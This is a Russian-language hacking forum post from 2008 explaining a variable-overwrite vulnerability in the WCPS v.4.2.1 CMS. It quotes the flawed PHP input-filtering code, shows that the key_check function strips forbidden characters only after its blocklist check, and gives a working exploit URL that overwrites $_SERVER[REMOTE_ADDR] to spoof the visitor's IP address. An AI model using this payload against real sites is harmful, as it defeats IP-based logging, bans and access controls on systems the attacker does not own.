Показать сообщение отдельно

  #16  
Старый 03.02.2008, 14:34
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php:
Код:
...
if ( is_array($_GET) ) {
   while( list($k, $v) = each($_GET) ) {
     if ( is_array($_GET[$k]) ) {
        while( list($k2, $v2) = each($_GET[$k]) ) {
          $k=key_check("$k");//Кавычки не убирать
              $k2=key_check("$k2");
          $_GET[$k][$k2] = str_check($v2);
                 eval("\$".$k."[\$k2] = str_check(\$v2);");
        }
     }
     else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
   }
 }
...
function key_check($key) {
 if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
 $key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
 return $key;
}
...
собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.

Чтож вот собственно и как юзать:
Код:
http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".
__________________
Кто я?..
 
Ответить с цитированием